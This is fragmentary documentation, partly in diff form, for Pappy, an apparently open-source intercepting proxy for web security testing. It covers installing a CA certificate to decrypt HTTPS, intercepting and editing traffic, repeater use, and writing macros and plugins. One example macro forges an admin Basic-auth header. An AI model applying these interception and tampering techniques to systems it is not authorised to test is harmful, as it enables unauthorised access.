You can't do anything with a request/response until it is decoded and saved to disk. In between the time when a request is decoded and when it's saved to disk, it will have an ID of `--`. So just wait a little bit and it will get an ID you can use. +Boring, Technical Stuff +----------------------- +I do some stuff to try and keep speed and memory usage to reasonable levels. Unfortunately, things might seem slow in some areas. This is where I try and explain why those exist. Honestly, you probably don't care about this, but I'd rather have it written down and have nobody read it than just leave people in the dark. + +### Request Cache / Memory usage +For performance reasons, Pappy by default will not store every request in memory. The cache will store a certain number of the most recently accessed requests in memory. This means that if you go through all of history, it could be slow (for example running `ls a` or `sm`). If you have enough RAM to keep everything in memory, you can set the request cache size to -1 to just keep everything in memory. However, even if the cache size is unlimited, it still won't load a request into memory untill you access it. So if you want to load everything in memory, run `ls a`. + +By default, Pappy will cache 2000 requests. This is kind of heavy, but it's assumed you're doing testing on a reasonably specced laptop.

Its features are often similar, or straight up rippoffs from +`Burp Suite `__. However, Burp Suite is +neither open source nor a command line tool, thus making a proxy like +Pappy inevitable. The project is still in its early stages, so there are +bugs and only the bare minimum features, but it can already do some cool +stuff. + +Contributing +------------ + +**I am taking any and all feature requests.** If you've used Burp and +had any inconvenience with it, tell me about it and I'll do everything +in my power to make sure Pappy doesn't have those issues. Or even +better, if you want Burp to do something that it doesn't already, let me +know so that I can [STRIKEOUT:use it to stomp them into the dust] +improve my project. + +If you're brave and want to try and contribute code, please let me know. +Right now the codebase is kind of rough and I have refactored it a few +times already, but I would be more than happy to find a stable part of +the codebase that you can contribute to. + +Another option is to try writing a plugin. It might be a bit easier than +contributing code and plugins are extremely easy to integrate as a core +feature. So you can also contribute by writing a plugin and letting me +know about it. You can find out more by looking at `the official plugin +docs `__. + +How to Use It +============= + +Installation +------------ + +Pappy supports OS X and Linux (sorry Windows). Installation requires +``pip`` or some other command that can handle a ``setup.py`` with +requirements. Once the requirements are installed, you can check that it +installed correctly by running ``pappy -l`` to start the proxy. + +:: + + $ git clone --recursive https://github.com/roglew/pappy-proxy.git + $ cd pappy-proxy + $ pip install . + +Quickstart +---------- + +Pappy projects take up an entire directory. Any generated scripts, +exported responses, plugin data, etc. will be placed in the current +directory so it's good to give your project a directory of its own. To +start a project, do something like: + +:: + + $ mkdir test_project + $ cd test_project + $ pappy + Copying default config to directory + Proxy is listening on port 8000 + pappy> exit + $ ls + data.db project_config.json + $ + +And that's it! The proxy will by default be running on port 8000 and +bound to localhost (to keep the hackers out). You can modify the +port/interface in ``config.json``. You can list all your intercepted +requests with ``ls``, view a full request with ``vfq `` or view a +full response with ``vfs ``. Right now, the only command to +delete requests is ``filter_prune`` which deletes all the requests that +aren't in the current context (look at the sections on the +context/filter strings for more information on that). + +Lite Mode +--------- + +If you don't want to dirty up a directory, you can run Pappy in "lite" +mode. Pappy will use the default configuration settings and will create +a temporary data file in ``/tmp`` to use. When you quit, the file will +be deleted. If you want to run Pappy in lite mode, run Pappy with either +``-l`` or ``--lite``. + +Example: + +:: + + $ pappy -l + Temporary datafile is /tmp/tmpw4mGv2 + Proxy is listening on port 8000 + pappy> quit + Deleting temporary datafile + $ + +Adding The CA Cert to Your Browser +---------------------------------- + +In order for Pappy to view data sent using HTTPS, you need to add a +generated CA cert (``certificate.crt``) to your browser. Certificates +are generated using the ``gencerts`` command and are by default stored +in ``~/.pappy/certs``. This allows Pappy to act as a CA and sign any +HTTPS certificate it wants without the browser complaining. This allows +Pappy to decrypt and modify HTTPS requests. The certificate installation +instructions are different for each browser. + +Firefox +~~~~~~~ + +You can add the CA cert to Firefox by going to +``Preferences -> Advanced -> View Certificates -> Authorities -> Import`` +and selecting the ``certificate.crt`` file in the ``certs`` directory. + +Chrome +~~~~~~ + +You can add the CA cert to Chrome by going to +``Settings -> Show advanced settings -> HTTPS/SSL -> Manage Certificates -> Authorities -> Import`` +and selecting the ``certificate.crt`` file in the ``certs`` directory. + +Safari +~~~~~~ + +For Safari (on macs, obviously), you need to add the CA cert to your +system keychain. You can do this by double clicking on the CA cert and +following the prompts. + +Internet Explorer +~~~~~~~~~~~~~~~~~ + +I didn't search too hard for instructions on this (since Pappy doesn't +support windows) and I don't own a Windows machine to try this, so if +you have trouble, I'm not the one to ask. According to Google you can +double-click the cert to install it to the system, or you can do +``Tools -> Content -> Certificates -> Trusted Root Certificates -> Import``. + +Configuration +------------- + +Configuration for each project is done in the ``config.json`` file. The +file is a JSON-formatted dictionary that contains settings for the +proxy. The following fields can be used to configure the proxy: + ++----------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| Key | Value | ++============================+=======================================================================================================================================================================================================================================================================================================================================================================================+ +| ``data_file`` | The file where requests and images will be stored | ++----------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``debug_dir`` (optional) | Where connection debug info should be stored.

Each item is a dict with "port" and "interface" values which determine which port and interface to listen on. For example, if port=8000 and the interface is 127.0.0.1, the proxy will only accept connections from localhost on port 8000. To accept connections from anywhere, set the interface to 0.0.0.0. | ++----------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ + +The following tokens will also be replaced with values: + ++-----------------+-----------------------------------------------------+ +| Token | Replaced with | ++=================+=====================================================+ +| ``{DATADIR}`` | The directory where Pappy's data files are stored | ++-----------------+-----------------------------------------------------+ + +See the default ``config.json`` for examples. + +Generating Pappy's CA Cert +-------------------------- + +In order to intercept and modify requests to sites that use HTTPS, you +have to generate and install CA certs to your browser. You can do this +by running the ``gencerts`` command in Pappy. By default, certs are +stored ``~/.pappy/certs``. This is also the default location that Pappy +will look for certificates (unless you specify otherwise in +``config.json``.) In addition, you can give the ``gencerts`` command an +argument to have it put the generated certs in a different directory. + ++----------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| Command | Description | ++========================================+==================================================================================================================================================================================================================================================================================+ +| ``gencerts [/path/to/put/certs/in]`` | Generate a CA cert that can be added to your browser to let Pappy decrypt HTTPS traffic.

You can +see it when you run ``ls``. In addition, you can prepend an ID with +prefixes to get requests or responses associated with the request (for +example if you modified the request or its response with the +interceptor, you can get the unmangled versions.) Here are the valid +prefixes: + ++----------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| Prefix | Description | ++==========+=========================================================================================================================================================================================================================+ +| ``u`` | If the request was mangled, prefixing the ID with ``u`` will result in the unmangled version of the request.

You can limit down the current context by +applying filters. Filters apply rules such as "the response code must +equal 500" or "the host must contain google.com".

Most filter strings have the following +format: + +:: + + + +Where ```` is some part of the request/response, ```` +is some comparison to ````. For example, if you wanted a filter +that only matches requests to ``target.org``, you could use the +following filter string: + +:: + + host is target.org + + field = "host" + comparer = "is" + value = "target.org" + +Also **if you prefix a comparer with 'n' it turns it into a negation.** +Using the previous example, the following will match any request except +for ones where the host contains ``target.org``: + +:: + + host nis target.org + + field = "host" + comparer = "nis" + value = "target.org" + +For fields that are a list of key/value pairs (headers, get params, post +params, and cookies) you can use the following format: + +:: + + [ ] + +This is a little more complicated. If you don't give comparer2/value2, +the filter will pass any pair where the key or the value matches +comparer1 and value1. If you do give comparer2/value2, the key must +match comparer1/value1 and the value must match comparer2/value2 For +example: + +:: + + Filter A: + cookie contains Session + + Filter B: + cookie

When the +proxy gets a request while in intercept mode, it lets you edit it before +forwarding it to the server. In addition, it can stop responses from the +server and let you edit them before they get forwarded to the browser. +When you run the command, you can pass ``req`` and/or ``rsp`` as +arguments to say whether you would like to intercept requests and/or +responses. Only in-scope requests/responses will be intercepted (see +Scope section). + +The interceptor will use your EDITOR variable to decide which editor to +edit the request/response with. If no editor variable is set, it will +default to ``vi``. + +To forward a request, edit it, save the file, then quit. + ++---------------------+-------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| Command | Aliases | Description | ++=====================+=========================+=================================================================================================================================================================================================================+ +| ``ic +`` | ``intercept``, ``ic`` | Begins interception mode.

You choose a request +and Pappy will open vim in a split window with your request on the left +and the original response on the right. You can make changes to the +request and then run ":RepeaterSubmitBuffer" to submit the modified +request. The response will be displayed on the right. This command is +bound to ``f`` by default, but you can bind it to something else +too in your vimrc (I think, dunno if vim will complain if the function +undefined which it will be for regular files). This command will submit +whatever buffer your cursor is in, so make sure it's in the request +buffer. + +When you're done with repeater, run ":qa!" to avoid having to save +changes to nonexistent files. + ++---------------+----------------+----------------------------------------------+ +| Command | Aliases | Description | ++===============+================+==============================================+ +| ``rp `` | repeater, rp | Open the specified request in the repeater | ++---------------+----------------+----------------------------------------------+ + ++----------------------------+--------------+----------------------------------------------------------------------------------------------------+ +| Vim Command | Keybinding | Action | ++============================+==============+====================================================================================================+ +| ``RepeaterSubmitBuffer`` | f | Submit the current buffer, split the windows vertically, and show the result in the right window | ++----------------------------+--------------+----------------------------------------------------------------------------------------------------+ + +Macros +------ + +Macros are Pappy's version of Burp's intruder. You can use macros to +make automated requests through the proxy and save them to the data +file. A macro file is any python script file in the current directory +that is in the form ``macro_.py``. An example project directory +with macros would be: + +:: + + $ ls -l + -rw-r--r-- 1 scaryhacker wheel 150 Nov 26 11:17 config.json + -rw------- 1 scaryhacker wheel 2639872 Nov 26 17:18 data.db + -rw-r--r-- 1 scaryhacker wheel 471 Nov 26 18:42 macro_blank.py + -rw-r--r-- 1 scaryhacker wheel 264 Nov 26 18:49 macro_hackthensa.py + -rw-r--r-- 1 scaryhacker wheel 1261 Nov 26 18:37 macro_testgen.py + -rw-r--r-- 1 scaryhacker wheel 241 Nov 26 17:18 macro_test.py + +In this case we have a ``blank``, ``hackthensa``, ``testgen``, and +``test`` macro. A macro script is any python script that defines a +``run_macro(args)`` function and a ``MACRO_NAME`` variable. For example, +a simple macro would be: + +:: + + ### macro_print.py + + MACRO_NAME = 'Print Macro' + + def run_macro(args): + if args: + print "Hello, %s!" % args[0] + else: + print "Hello, Pappy!" + +You can place this macro in your project directory then load and run it +from Pappy. When a macro is run, arguments are passed from the command +line. Arguments are separated the same way as they are on the command +line, so if you want to use spaces in your argument, you have to put +quotes around it. + +:: + + $ pappy + Proxy is listening on port 8000 + pappy> lma + Loaded "" + Loaded "" + Loaded "" + Loaded "" + Loaded "" + pappy> rma print + Hello, Pappy! + pappy> rma print NSA + Hello, NSA! + pappy> rma print Idiot Slayer + Hello, Idiot! + pappy> rma print "Idiot Slayer" + Hello, Idiot Slayer! + +You'll need to run ``lma`` every time you make a change to the macro in +order to reload it. In addition, any code outside of the ``run_macro`` +function will be run when it the macro gets loaded. + +Generating Macros From Requests +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +You can also generate macros that have Pappy ``Request`` objects created +with the same information as requests you've already made. For example: + +:: + + $ pappy + Proxy is listening on port 8000 + pappy> ls + ID Verb Host Path S-Code Req Len Rsp Len Time Mngl + 5 GET vitaly.sexy /esr1.jpg 200 OK 0 17653 -- -- + 4 GET vitaly.sexy /netscape.gif 200 OK 0 1135 -- -- + 3 GET vitaly.sexy /construction.gif 200 OK 0 28366 -- -- + 2 GET vitaly.sexy /vitaly2.jpg 200 OK 0 2034003 -- -- + 1 GET vitaly.sexy / 200 OK 0 1201 -- -- + pappy> gma sexy 1 + Wrote script to macro_sexy.py + pappy> quit + $ cat macro_sexy.py + from pappyproxy.http import Request, get_request, post_request + + MACRO_NAME = 'Macro 94664581' + SHORT_NAME = '' + + ########### + ## Requests + + req0 = Request(( + 'GET / HTTP/1.1\r\n' + 'Host: vitaly.sexy\r\n' + 'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0\r\n' + 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n' + 'Accept-Language: en-US,en;q=0.5\r\n' + 'Accept-Encoding: gzip, deflate\r\n' + 'Connection: keep-alive\r\n' + 'Pragma: no-cache\r\n' + 'Cache-Control: no-cache\r\n' + '\r\n' + )) + + + def run_macro(args): + # Example: + # req = req0.copy() # Copy req0 + # req.submit() # Submit the request to get a response + # print req.response.raw_headers # print the response headers + # req.save() # save the request to the data file + # or copy req0 into a loop and use string substitution to automate requests + pass + +If you enter in a value for ``SHORT_NAME``, you can use it as a shortcut +to run that macro.

If you get a traceback, send me an email so I +can fix it. + +Useful Functions +~~~~~~~~~~~~~~~~ + +There are also a few functions which could be useful for creating +requests in macros. It's worth pointing out that ``request_by_id`` is +useful for passing request objects as arguments. For example, here is a +macro that lets you resubmit a request with the Google Bot user agent: + +:: + + ## macro_googlebot.py + + from pappyproxy.http import Request, get_request, post_request, request_by_id + from pappyproxy.context import set_tag + from pappyproxy.iter import * + + MACRO_NAME = 'Submit as Google' + SHORT_NAME = '' + + def run_macro(args): + req = request_by_id(args[0]) + req.headers['User-Agent'] = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" + req.submit() + req.save() + ++-------------------------------------------------------+-------------------------------------------------------------------------------------------------------------+ +| Function | Description | ++=======================================================+=============================================================================================================+ +| get\_request(url, url\_params={}) | Returns a Request object that contains a GET request to the given url with the given url params | ++-------------------------------------------------------+-------------------------------------------------------------------------------------------------------------+ +| post\_request(url, post\_params={}, url\_params={}) | Returns a Request object that contains a POST request to the given url with the given url and post params | ++-------------------------------------------------------+-------------------------------------------------------------------------------------------------------------+ +| request\_by\_id(reqid) | Get a request object from its id. | ++-------------------------------------------------------+-------------------------------------------------------------------------------------------------------------+ + +Intercepting Macros +------------------- + +Intercepting macros let you mangle requests as they pass through the +proxy. Similarly to normal macros, an intercepting macro is any python +script with an "int" prefix. For example, ``int_name.py`` would be a +valid intercepting macro name. They are also loaded with the ``lma`` +command. An intercepting macro can define two functions: +``mangle_request`` or ``mangle_response``. Both requests only take a +``Request`` object as a parameter. ``mangle_request`` returns either a +new, modified Request object to change it, or it can return the original +object to not mangle it. The ``mange_response`` must return a +``Response`` (not request!) object. The request passed in to +``mangle_response`` will have an associated response with it. If you +want to modify the response, copy ``request.response``, make +modifications, then return it. If you would like to pass it through +untouched, just return ``request.response``. + +Note, that due to twisted funkyness, *you cannot save requests from +intercepting macros*. Technically you **can**, but to do that you'll +have to define ``async_mangle_request`` (or response) instead of +``mangle_request`` (or response) then use ``Request.async_deep_save`` +which generates a deferred, then generate a deferred from +``async_mangle_requests`` (inline callbacks work too). If you've never +used twisted before, please don't try. Twisted is hard. Plus the mangled +request will be saved before it is submitted anyways. + +Confusing? Here are some example intercepting macros: + +:: + + ## int_cloud2butt.py + + import string + + MACRO_NAME = 'Cloud to Butt' + + def mangle_response(request): + r = request.response.copy() + r.raw_data = string.replace(r.raw_data, 'cloud', 'butt') + r.raw_data = string.replace(r.raw_data, 'Cloud', 'Butt') + return r + +:: + + ## int_donothing.py + + import string + + MACRO_NAME = 'Do Nothing' + + def mangle_request(request): + return request + + def mangle_response(request): + return request.response + +:: + + ## int_adminplz.py + + from base64 import base64encode as b64e + + MACRO_NAME = 'Admin Session' + + def mangle_request(request): + r = request.copy() + r.headers['Authorization'] = 'Basic %s' % b64e('Admin:Password123') + return r + +In addition, you can use an ``init(args)`` function to get arguments +from the command line. If no arguments are passed, args will be an empty +list. Here is an example macro that does a search and replace: + +:: + + ## int_replace.py + + MACRO_NAME = 'Find and Replace' + SHORT_NAME = '' + runargs = [] + + def init(args): + global runargs + runargs = args + + def mangle_request(request): + global runargs + if len(runargs) < 2: + return request + request.body = request.body.replace(runargs[0], runargs[1]) + return request + + def mangle_response(request): + global runargs + if len(runargs) < 2: + return request.response + request.response.body = request.response.body.replace(runargs[0], runargs[1]) + return request.response + +You can use this macro to do any search and replace that you want. For +example, if you wanted to replace "Google" with "Skynet", you can run +the macro like this: + +:: + + pappy> lma + Loaded "" + pappy> rim replace Google Skynet + "Find and Replace" started + pappy> + +Now every site that you visit will be a little bit more accurate. + +Enabling/Disabling Intercepting Macros +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +You can use the following commands to start/stop intercepting macros + ++-------------------------------+------------------------------------+--------------------------------------------------------------------------------------------------------------------------------+ +| Command | Aliases | Description | ++===============================+====================================+================================================================================================================================+ +| ``lma [dir]`` | ``load_macros``, ``lma`` | Load macros from a directory.

For a full +description of how to write them, please see `the official +docs `__. + +It is also possible to write plugins which are reusable across projects. +Plugins are simply Python scripts located in ``~/.pappy/plugins``. +Plugins are able to create new console commands and maintain state +throughout a Pappy session. They can access the same API as macros, but +the plugin system is designed to allow you to create general purpose +commands as compared to macros which are meant to be project-specific +scripts. Still, it may not be a bad idea to try building a macro to do +something in a quick and dirty way before writing a plugin since plugins +are more complicated to write. + +A simple hello world plugin could be something like: + +:: + + ## hello.py + import shlex + + def hello_world(line): + if line: + args = shlex.split(line) + print 'Hello, %s!' % (', '.join(args)) + else: + print "Hello, world!" + + ############### + ## Plugin hooks + + def load_cmds(cmd): + cmd.set_cmds({ + 'hello': (hello_world, None), + }) + cmd.add_aliases([ + ('hello', 'hlo'), + ('hello', 'ho'), + ]) + +You can also create commands which support autocomplete: + +:: + + import shlex + + _AUTOCOMPLETE_NAMES = ['alice', 'allie', 'sarah', 'mallory', 'slagathor'] + + def hello_world(line): + if line: + args = shlex.split(line) + print 'Hello, %s!' % (', '.join(args)) + else: + print "Hello, world!" + + def complete_hello_world(text, line, begidx, endidx): + return [n for n in _AUTOCOMPLETE_NAMES if n.startswith(text)] + + ############### + ## Plugin hooks + + def load_cmds(cmd): + cmd.set_cmds({ + 'hello': (hello_world, complete_hello_world), + }) + cmd.add_aliases([ + ('hello', 'hlo'), + ]) + +Then when you run Pappy you can use the ``hello`` command: + +:: + + $ pappy -l + Temporary datafile is /tmp/tmpBOXyJ3 + Proxy is listening on port 8000 + pappy> ho + Hello, world! + pappy> ho foo bar baz + Hello, foo, bar, baz! + pappy> ho foo bar "baz lihtyur" + Hello, foo, bar, baz lihtyur! + pappy> + +Should I Write a Plugin or a Macro? +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +A lot of the time, you can get away with writing a macro.

To do this, you'll have to define a ``load_cmds`` function in your plugin. This function should take one argument. When the plugin is loaded, this function will be called and the console object will be passed to this function. You can then use ``set_cmds`` and ``add_aliases`` to bind functions to console commands. + +Writing a Hello World Plugin +---------------------------- +It's probably easiest to explain how to write a plugin by writing one. Here is a simple plugin that defines a ``hello`` command and gives an alias ``hlo`` (we'll go over all the parts in a second):: + + ## hello.py + + def hello_world(line): + print "Hello, world!" + + ############### + ## Plugin hooks + + def load_cmds(cmd): + cmd.set_cmds({ + 'hello': (hello_world, None), + }) + cmd.add_aliases([ + ('hello', 'hlo'), + ]) + +Save this as ``~/.pappy/plugins/hello.py`` and run Pappy. You should have a new ``hello`` command that prints your message:: + + $ cp hello.py ~/.pappy/plugins/ + $ pappy -l + Temporary datafile is /tmp/tmp1Myw6q + Proxy is listening on port 8000 + pappy> hello + Hello, world! + pappy> hlo + Hello, world! + pappy> + +Awesome! So let's go over the code. Here are the important parts of the code: + +* We define a function that we want to call +* We define ``load_cmds(cmd)`` to be called when our plugin is loaded to bind our function to a command +* We use ``cmd.set_cmds`` to set all our commands +* We use ``cmd.add_aliases`` to add aliases for commands + +Now let's go over it in detail + +Passing Arguments to Your Function +---------------------------------- + +Each command gets bound to one function which takes one argument. That argument is all the text that was entered after the name of the command in the console. For example if we run ``hello foo bar``, in our function line would be "foo bar". **I suggest using shlex.split(line) to parse multiple arguments**. So let's update our script to take some arguments:: + + ## hello.py + import shlex + + def hello_world(line): + if line: + args = shlex.split(line) + print 'Hello, %s!' % (', '.join(args)) + else: + print "Hello, world!" + + ############### + ## Plugin hooks + + def load_cmds(cmd): + cmd.set_cmds({ + 'hello': (hello_world, None), + }) + cmd.add_aliases([ + ('hello', 'hlo'), + ]) + +Save your changes and restart pappy to reload the plugin:: + + $ pappy -l + Temporary datafile is /tmp/tmpBOXyJ3 + Proxy is listening on port 8000 + pappy> hello + Hello, world! + pappy> hello foo bar baz + Hello, foo, bar, baz! + pappy> hello foo bar "baz lihtyur" + Hello, foo, bar, baz lihtyur! + pappy> + +Adding More Aliases +------------------- + +So now let's add some more aliases to our command. If we want to add a new alias, we just add another tuple to the list passed into ``cmd.add_aliases``. The first element is the real name of the command (what you set with ``set_cmds``) and the second value is the alias you want to type. So let's make it so we can just type ``ho`` to say hello:: + + ## hello.py + import shlex + + def hello_world(line): + if line: + args = shlex.split(line) + print 'Hello, %s!' % (', '.join(args)) + else: + print "Hello, world!" + + ############### + ## Plugin hooks + + def load_cmds(cmd): + cmd.set_cmds({ + 'hello': (hello_world, None), + }) + cmd.add_aliases([ + ('hello', 'hlo'), + ('hello', 'ho'), + ]) + +.. note:: + + You must use the actual name of the command that you used in ``set_cmds``. You can't "chain" alieases. As a result, in our example we couldn't add the alias ``('hlo', 'ho')`` to add ``ho`` as our alias. + +Then reload the plugin:: + + $ pappy -l + Temporary datafile is /tmp/tmpBOXyJ3 + Proxy is listening on port 8000 + pappy> ho + Hello, world! + pappy> ho foo bar baz + Hello, foo, bar, baz! + pappy> ho foo bar "baz lihtyur" + Hello, foo, bar, baz lihtyur! + pappy> + +Adding Another Command +---------------------- +So now let's add a ``robe_and_wizard_hat`` command. To do this, we will define another function, then add another entry in the dict that is passed to ``set_cmds``. The second value in the tuple is the autocomplete function, but we'll get to that later. For now, just put in ``None`` to say we don't have one. We will also add a ``wh`` alias to it:: + + $ pappy -l + Temporary datafile is /tmp/tmpyl2cEZ + Proxy is listening on port 8000 + pappy> wh + I put on my robe and wizard hat + pappy> + +Adding Autocompletion +--------------------- +You can also define a function to handle autocompletion for your command. In order to do this, you define a function that takes 4 arguments: ``text``, ``line``, ``begidx``, and ``endidx``. From the `Cmd docs `_, this is what the arguments mean: + + ``text`` is the string prefix we are attempting to match: all returned matches must begin with it. ``line`` is the current input line with leading whitespace removed, ``begidx`` and ``endidx`` are the beginning and ending indexes of the prefix text, which could be used to provide different completion depending upon which position the argument is in. + +Let's let the user to autocomplete some names in our plugin:: + + import shlex + + _AUTOCOMPLETE_NAMES = ['alice', 'allie', 'sarah', 'mallory', 'slagathor'] + + def hello_world(line): + if line: + args = shlex.split(line) + print 'Hello, %s!' % (', '.join(args)) + else: + print "Hello, world!" + + def put_on_rope_and_wizard_hat(line): + if line: + print '%s puts on their robe and wizard hat' % line + else: + print 'I put on my robe and wizard hat' + + def complete_hello_world(text, line, begidx, endidx): + return [n for n in _AUTOCOMPLETE_NAMES if n.startswith(text)] + + ############### + ## Plugin hooks + + def load_cmds(cmd): + cmd.set_cmds({ + 'hello': (hello_world, complete_hello_world), + 'wizard_hat': (put_on_rope_and_wizard_hat, None), + }) + cmd.add_aliases([ + ('hello', 'hlo'), + ('wizard_hat', 'wh'), + ]) + +Then restart and run:: + + $ pappy -l + Temporary datafile is /tmp/tmp3J97rE + Proxy is listening on port 8000 + pappy> hello + alice allie mallory sarah slagathor + pappy> hello allie + Hello, allie! + pappy> + +You can't see it, but I hit tab twice after typing hello to get the completions to appear. + +Adding Help +----------- +Now let's say we want to add some help to the command so that when the user runs ``help hello`` they get something useful. To do that, just add a docstring to your function:: + + import shlex + + _AUTOCOMPLETE_NAMES = ['alice', 'allie', 'sarah', 'mallory', 'slagathor'] + + def hello_world(line): + """ + Say hello to the world. Usage: hello [name] + """ + + if line: + args = shlex.split(line) + print 'Hello, %s!' % (', '.join(args)) + else: + print "Hello, world!" + + def put_on_rope_and_wizard_hat(line): + if line: + print '%s puts on their robe and wizard hat' % line + else: + print 'I put on my robe and wizard hat' + + def complete_hello_world(text, line, begidx, endidx): + return [n for n in _AUTOCOMPLETE_NAMES if n.startswith(text)] + + ############### + ## Plugin hooks + + def load_cmds(cmd): + cmd.set_cmds({ + 'hello': (hello_world, complete_hello_world), + 'wizard_hat': (put_on_rope_and_wizard_hat, None), + }) + cmd.add_aliases([ + ('hello', 'hlo'), + ('wizard_hat', 'wh'), + ]) +Using defer.inlineCallbacks With a Command +------------------------------------------ + +.. note:: + If you are using inlineCallbacks, you can't use any functions which are blocking versions of async functions. For example, you cannot use :func:`pappyproxy.http.Request.save` and must instead use :func:`pappyproxy.http.Request.async_deep_save`. + +.. note:: + This tutorial won't tell you how to use inlineCallbacks in general. Type "twisted inline callbacks" into google to figure out what they are. This is mainly just a reminder to use the ``crochet`` wrapper for console commands and warning you that some functions may return deferreds that you may have to deal with. + +Since you're writing a plugin, you'll probably be using functions which return a deferred. And to keep things readable, you'll want to use the ``defer.inlineCallbacks`` function wrapper. Unfortunately, you can't bind async functions to commands. Luckily, there's a library called `crochet `_ which lets you add another wrapper to the function that lets it be used like a blocking function. Rather than talking about it, let's write a plugin to call :func:`pappyproxy.console.load_reqlist` to print out some requests' hosts. Let's start by pretending it's a normal function:: + + import shlex + from pappyproxy.console import load_reqlist + + def print_hosts(line): + args = shlex.split(line) + reqs = load_reqlist(args[0]) # It's supposed to return a list of requests, right? + for r in reqs: + print 'The host for request %s is: %s' % (r.reqid, r.host) + + ############### + ## Plugin hooks + + def load_cmds(cmd): + cmd.set_cmds({ + 'print_hosts': (print_hosts, None), + }) + cmd.add_aliases([ + ]) + +And we run it:: + + pappy> print_hosts 1 + Traceback (most recent call last): + File "/usr/local/lib/python2.7/dist-packages/cmd2.py", line 788, in onecmd_plus_hooks + stop = self.onecmd(statement) + File "/usr/local/lib/python2.7/dist-packages/cmd2.py", line 871, in onecmd + stop = func(statement) + File "/home/supahacker/pappy/pappyproxy/console.py", line 15, in catch + func(*args, **kwargs) + File "/home/supahacker/.pappy/plugins/hosts.py", line 7, in print_hosts + for r in reqs: + TypeError: iteration over non-sequence + iteration over non-sequence + pappy> + +Iteration over a non-sequence? what? Well, :func:`pappyproxy.console.load_reqlist` doesn't actually return a list of requests. It returns a deferred which returns a list of requests. I'm not going into the details (look up some stuff on using inline callbacks with Twisted if you want more info), but the way to fix it is to slap an ``inlineCallbacks`` wrapper on the function and ``yield`` the result of the function. Now it looks like this:: + + import shlex + from pappyproxy.console import load_reqlist + from twisted.internet import defer + + @defer.inlineCallbacks + def print_hosts(line): + args = shlex.split(line) + reqs = yield load_reqlist(args[0]) + for r in reqs: + print 'The host for request %s is: %s' % (r.reqid, r.host) + + ############### + ## Plugin hooks + + def load_cmds(cmd): + cmd.set_cmds({ + 'print_hosts': (print_hosts, None), + }) + cmd.add_aliases([ + ]) + +However, the console assumes that any functions it calls will be blocking. As a result, we need to add the ``crochet.wait_for`` wrapper:: + + import shlex + import crochet + from pappyproxy.console import load_reqlist + from twisted.internet import defer + + @crochet.wait_for(timeout=None) + @defer.inlineCallbacks + def print_hosts(line): + args = shlex.split(line) + reqs = yield load_reqlist(args[0]) + for r in reqs: + print 'The host for request %s is: %s' % (r.reqid, r.host) + + ############### + ## Plugin hooks + + def load_cmds(cmd): + cmd.set_cmds({ + 'print_hosts': (print_hosts, None), + }) + cmd.add_aliases([ + ]) + +And now we're good! If you run it without the crochet wrapper, it may still work. However, since the console assumes any functions it calls will be blocking, not having the wrapper could lead to weird errors. + +Plugin API +========== +There are also some useful functions that you can use to interact with the request history and the context. It's somewhat limited for now, but for now you can at least look through history and create/send new requests. Hopefully the API will expand as people find themselves wanting to do new things. That means **if you're writing a plugin, let me know and I'll add any APIs you need**. For now at least, plugins will let you maintain state over the course of the session and let you define commands. + +The best way to learn what you can do is to go through the :ref:`pappyproxy-package` and look at all the available functions. + +API Functions +------------- +See :mod:`pappyproxy.plugin` for docs on all the functions you can use. You can also use any of the functions provided for writing macros (and vice-versa). + +Storing Data on Disk +-------------------- +Unfortunately, you're on your own if you want to store plugin specific stuff on disk. It's also important that you store any data that is specific to a project in the same directory as the data file. This is to make sure that if you encrypt your project folder, you can be sure that no sensitive data about the test can be found anywhere else. The only time you should store anything outside of the current directory is to store global plugin settings, and even then it would probably be better to parse options from ``config.config_dict``. Pappy doesn't even store data outside of the project directory except for its CA certificates. + +However, if your plugin is a special snowflake that needs to store unencrypted, global settings, you should create a directory for your plugin in ``{config.DATA_DIR}/plugindata`` and put your files there. But again, avoid this if you can. + +.. note:: + Any project-specific data (ie anything that contains info about requests) should be stored in the project directory unless you have a really really good reason. This is because it must be possible to secure any sensitive data by encrypting the project folder and storing data outside of the directory will add complications. + +.. warning:: + Do not modify the data file schema. There is a good chance the schema will break in future versions of Pappy. + +Storing Custom Request Metadata +------------------------------- +:class:`pappyproxy.http.Request` objects have a ``plugin_data`` attribute. It is a dictionary that is intended to be used by plugins to give the request custom metadata. If you want to store metadata about a request, it is suggested that you add a key to this dictionary and store any metadata you want under that key. You can use :func:`pappyproxy.http.Request.get_plugin_dict` to get a dictionary for a specific name. It will create an entry for that name if it doesn't exist. I also suggest defining a function plugin-wide for getting the plugin's data dict from a specific request. Since dictionaries are always passed by reference, any modifications you make to the returned dict will be applied to the request as well. + +.. note:: + You will need to save the request using something like :func:`pappyproxy.http.Request.save` or :func:`pappyproxy.http.Request.async_deep_save` in order to store the changes in the data file. + +Here is an example plugin for storing the user-agent (if it exists) in the ``plugin_data`` dict of a request under the key ``agent``:: + + import crochet + import shlex + from twisted.internet import defer + + from pappyproxy.console import load_reqlist + from pappyproxy.plugin import main_context + from pappyproxy.util import PappyException + + DATA_KEY = 'agent' + + def get_data(r): + return r.get_plugin_dict(DATA_KEY) + + @crochet.wait_for(timeout=None) + @defer.inlineCallbacks + def update_agent_metadata(line): + for r in main_context().active_requests: + if 'user-agent' in r.headers: + get_data(r)['agent'] = r.headers['user-agent'] + yield r.async_deep_save() + + @crochet.wait_for(timeout=None) + @defer.inlineCallbacks + def view_agent(line): + args = shlex.split(line) + reqs = yield load_reqlist(args[0]) + for r in reqs: + if 'agent' in 